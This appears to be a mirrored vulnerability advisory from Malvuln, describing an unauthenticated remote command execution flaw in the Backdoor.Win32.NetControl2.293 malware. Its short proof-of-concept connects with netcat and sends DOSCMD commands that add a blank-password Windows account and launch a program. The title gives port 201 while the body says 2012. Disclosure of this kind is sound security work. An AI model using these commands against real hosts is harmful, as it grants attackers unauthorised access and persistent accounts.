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Backdoor.Win32.NetControl2.293 Code Execution

🗓️ 31 May 2021 00:00:00Reported by malvulnType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 238 Views

Backdoor.Win32.NetControl2.293 Code Execution via Unauthenticated Remote Command Execution on TCP port 201

Code
`Discovery / credits: Malvuln - malvuln.com (c) 2021  
Original source: https://malvuln.com/advisory/15ca804e4634d9586f85b1d15ebe91a0.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.NetControl2.293  
Vulnerability: Unauthenticated Remote Command Execution  
Description: The malware listens on TCP port 2012. Attackers who can reach infected hosts can run arbitrary OS commands using the DOSCMD command made available by the backdoor.  
Type: PE32  
MD5: 15ca804e4634d9586f85b1d15ebe91a0  
Vuln ID: MVID-2021-0231   
Disclosure: 05/29/2021  
  
Exploit/PoC:  
nc64.exe x.x.x.x 2012  
  
1) Add accounts  
DOSCMD cmd /c net user malvuln "" /add  
  
2) Run programs  
DOSCMD cmd /c calc  
  
  
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).  
`

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